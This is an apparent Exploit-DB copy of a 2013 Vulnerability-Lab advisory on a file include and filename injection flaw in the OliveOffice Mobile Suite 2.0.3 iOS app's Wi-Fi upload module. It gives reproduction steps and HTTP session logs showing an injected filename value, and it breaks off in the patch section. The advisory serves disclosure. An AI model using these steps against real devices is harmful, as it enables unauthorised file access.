Exploit-DB #28976
Description: OliveOffice Mobile Suite 2.0.3 iOS - Local File Inclusion
Type: webapps
Platform: ios
Date: 2013-10-15
Author: Vulnerability-Lab

Exploit:
Document Title:
===============
OliveOffice Mobile Suite 2.0.3 iOS - File Include Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1110


Release Date:
=============
2013-10-13


Vulnerability Laboratory ID (VL-ID):
====================================
1110


Common Vulnerability Scoring System:
====================================
6.8


Product & Service Introduction:
===============================
OliveOffice is a mobile office suit for iOS-based devices, which is integrated with Dropbox and GoogleDocs cloud service, 
providing the functionality of transferring files via Wi-Fi and allowing you to view, edit and manage all Microsoft� Office 
documents ANYTIME, from virtually ANYWHERE. Beyond that, OliveOffice is also the most pragmatic viewer with quite a lot of 
formats supported including .pdf, .mht, .odt, .chm, .txt, .rtf, .rar, .zip, .html and nearly all the picture formats. 

( Copy of the Homepage: https://itunes.apple.com/de/app/oliveoffice/id446296792 )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered file include and a post inject vulnerability in the OliveOffice Mobile Suite v2.0.3 iOS web-application.


Vulnerability Disclosure Timeline:
==================================
2013-10-14:    Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Apple AppStore
Product: OliveOffice Mobile Suite Application 2.0.3


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
A file include and a post inject vulnerability are detected in the OliveOffice Mobile Suite v2.0.3 iOS web-application.
The file include web vulnerability allows remote attackers to inject files with malicious context via POST method.

The vulnerability is located in the `Browse File Upload` module.  Remote attackers are able to manipulate in the upload POST method 
request the filename value. The injected script code as filename executes in the index module file dir listing. In the exploitation 
phase the vulnerability allows an attacker to combine with script code inject with the file/path request.

Exploitation of the local file include web vulnerability requires no user interaction or privileged application user account with password. 
Successful exploitation of the vulnerability results in unauthorized local file and path requests to compromise the device or application.


Vulnerable Application(s):
				[+] OliveOffice Mobile Suite v2.0.3 - ITunes or AppStore (Apple)

Request Method(s):
				[+] [POST]

Vulnerable Module(s):
				[+] Browse File > Upload [POST]

Vulnerable Parameter(s):
				[+] filename (name)

Affected Module(s):
				[+] Index File Dir Listing (http://localhost:8080/)


Proof of Concept (PoC):
=======================
The file include web vulnerability via POST request method can be exploited by remote attackers without privileged application 
user account and user interaction. For demonstration or reproduce ...

Manual steps to reproduce ...

1. Install the OliveOffice app by using the itunes and appstore
2. Open the software and push the wifi button in the main menu
3. Switch to your computer and open it local in the browser (standard:=localhost:8080)
4. Start to tamper the session and include any random image via browse file + submit!
5. Exchange the filename value in the POST method request with your own filename request or app path location
6. Submit the request and refresh the wifi web interface to review the file dir index listing
7. The manipulated context of the POST method request will be visible and the file include/inject was successful 


--- PoC Session Logs (POST & GET) ---
Status: 200[OK]

POST http://localhost:8080/ 
Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] 
Content Size[2035] 
Mime Type[application/x-unknown-content-type]
   
Request Headers:
Host[localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[en-US,en;q=0.5]
Accept-Encoding[gzip, deflate]
DNT[1]
Referer[http://localhost:8080/]
Connection[keep-alive]

Post Data:
POST_DATA[----------------------------[PII_REDACTED]25680
Content-Disposition: form-data; name="file"; filename="<[FILE INCLUDE WEB VULNERABILITY VIA POST AS FILENAME!]">"
Content-Type: image/png
?PNG


Status: 200[OK]
GET http://localhost:8080/[FILE INCLUDE WEB VULNERABILITY VIA POST AS FILENAME!] 
Load Flags[LOAD_DOCUMENT_URI  ] 
Content Size[1194] Mime Type[application/x-unknown-content-type]
   
Request Headers:
Host[localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[en-US,en;q=0.5]
Accept-Encoding[gzip, deflate]
DNT[1]
Referer[http://localhost:8080/]
Connection[keep-alive]

Response Headers:
Accept-Ranges[bytes]
Content-Length[1194]
Date[So., 13 Okt. 2013 13:03:47 GMT]



PoC: Index File Dir Listing

<tr><td align="center" valign="middle" width="50"><img src="/~/file_item_other_ico.png" height="32" border="0" width="32"></td>
<td align="left" valign="middle" width="*"><a href="<[FILE INCLUDE WEB VULNERABILITY VIA POST AS FILENAME!]"></a>
(Size:51,78 Kb, Last Modified:2013-10-13 15:03:45)<br /></td></tr></tbody></table></div></div></div>
<div class="footer"><div class="footer_text">Copyright � 2008 OliveOffice, Inc.</div></div></body></html></iframe></a></td></tr>


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a filename input restriction when an user is processi